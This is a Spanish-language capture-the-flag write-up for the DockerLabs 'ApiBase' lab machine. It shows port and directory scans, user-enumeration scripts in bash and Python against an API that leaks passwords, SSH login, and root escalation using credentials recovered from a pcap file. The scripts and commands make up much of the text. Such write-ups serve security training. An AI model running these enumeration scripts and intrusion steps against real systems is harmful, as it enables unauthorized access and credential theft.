ApiBase DockerLabs (Easy)

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip apibase.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_deploy.sh apibase.tar

Info:

                            ##        .         
                      ## ## ##       ==         
                   ## ## ## ##      ===         
               /""""""""""""""""\___/ ===       
          ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
               \______ o          __/           
                 \    \        __/            
                  \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         
                                     

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-27 09:40 EST
Nmap scan report for 172.17.0.2
Host is up (0.000025s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u4 (protocol 2.0)
| ssh-hostkey: 
|   3072 20:ab:09:61:00:7b:cc:18:48:8e:bf:8d:3d:e4:cd:b5 (RSA)
|   256 42:0c:71:44:7c:13:ba:8f:b7:82:35:f2:b3:f7:b9:ff (ECDSA)
|_  256 85:95:6c:96:ac:a1:f0:3e:1e:0d:c1:c8:b0:6f:bb:1d (ED25519)
5000/tcp open  http    Werkzeug httpd 1.0.1 (Python 3.9.2)
|_http-title: Site doesn't have a title (application/json).
|_http-server-header: Werkzeug/1.0.1 Python/3.9.2
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.24 seconds

Si entramos al puerto 5000 veremos un apartado de una API por lo que ya sabremos que contiene una API y podremos intentar ver por donde tirar para ver si tiene alguna posible vulnerabilidad:

Vamos a realizar un poco de fuzzing:

Gobuster

gobuster dir -u http://<IP>:5000/ -w <WORDLIST> -x html,php,txt -t 100 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2:5000/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/add                  (Status: 405) [Size: 178]
/console              (Status: 400) [Size: 192]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================

Veremos dos rutas bastante interesantes, si entramos en /add veremos lo siguiente:

Vemos que el metodo no es el correcto por lo que vamos a intentar hacerlo de esta forma, ya que en la parte principal nos indica que podremos añadir un usuario, pero no podemos desde la web, por lo que haremos haciendo un POST, pero tendremos que seguir la estructura que pide para poder añadir un usuario.

Tras varios intentos di con la clave de como tiene que ir estructurado, seria de la sigueinte forma:

curl -X POST "http://<IP>:5000/add" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "username=John&email=john@example.com&password=123456"

Info:

{
  "message": "User added"
}

Como podremos ver acabamos de añadir al usuario John con la contraseña 123456, ahora que tenemos un usuario añadido vamos a ver si se añadio de forma correcta con el otro directorio llamado /users de la siguiente forma:

curl -X GET "http://<IP>:5000/users?username=John"

Info:

[
  [
    3, 
    "John", 
    "123456"
  ]
]

Vemos que si lo tenemos añadido y somos el ID numero 3, vamos a realizar una fuerza bruta de usuarios creando un script.

findUserAPI.sh

#!/bin/bash

# Asumiendo que tienes un archivo users.txt con nombres de usuario
while read username; do
  response=$(curl -s "http://<IP>:5000/users?username=${username}")
  if [[ "$response" != *"User not found"* ]]; then
    echo "Usuario encontrado: $username"
    echo "$response"
  fi
done < users.txt

En python3 seria con este otro script:

findUserAPI.py

import subprocess

# URL base de la API
url = "http://172.17.0.2:5000/users?username={}"

# Función para leer el diccionario desde un archivo
def load_usernames_from_file(file_path):
    try:
        with open(file_path, 'r') as file:
            # Leemos cada línea y eliminamos saltos de línea
            return [line.strip() for line in file.readlines()]
    except FileNotFoundError:
        print(f"El archivo {file_path} no se encuentra.")
        return []

# Función para hacer la solicitud con curl
def check_user(username):
    # Formateamos la URL con el nombre de usuario
    cmd = f"curl -s -X GET \"{url.format(username)}\""
    
    # Ejecutamos el comando curl y obtenemos la salida
    result = subprocess.run(cmd, shell=True, capture_output=True, text=True)

    # Si la respuesta no contiene "User not found", es un usuario válido
    if '"error": "User not found"' not in result.stdout:
        print(f"Usuario válido encontrado: {username}")

# Main
if __name__ == "__main__":
    # Carga el diccionario de usuarios desde el archivo
    file_path = 'diccionario.txt'  # Cambia el nombre si es necesario
    usernames = load_usernames_from_file(file_path)
    
    if usernames:
        # Si el diccionario no está vacío, realizamos el fuzzing
        for username in usernames:
            check_user(username)
    else:
        print("No se cargaron usuarios desde el archivo.")

En mi caso utilizare el de bash, vamos a utilizar un diccionario de usuario de SecList para probar:

Escalate user pingu

URL = Diccionario Users SecList

Y lo renombraremos a users.txt para que lo pille bien el script, echo esto lo ejecutaremos de la siguiente forma:

bash findUserAPI.sh

Info:

Usuario encontrado: pingu
[
  [
    1, 
    "pingu", 
    "your_password"
  ], 
  [
    2, 
    "pingu", 
    "pinguinasio"
  ]
]

Veremos que hemos encontrado un usuario con 2 IDs, vamos a probar a meternos por SSH con el usuario pingu y con la contraseña del ID numero 2.

SSH

ssh pingu@<IP>

Metemos como contraseña pinguinasio y veremos que estamos dentro.

Escalate Privileges

Si leemos el siguiente archivo veremos lo siguiente:

cd /home
cat network.pcap

Info:

���&�gVF((E(@"���P .�&�g@G((E(@O��P [�&�g�G((E(@"���P .�&�g3H33E3@"���P aRLOGIN root
&�g
   I66E6@"���P ��PASS balulero
&�g�I66E6@O��P ��Access Denied

Veremos que aparece las credenciales y podemos deducir que puede ser de root.

su root

Metemos como contraseña balulero y veremos que somos root, por lo que habremos terminado la maquina.

Last updated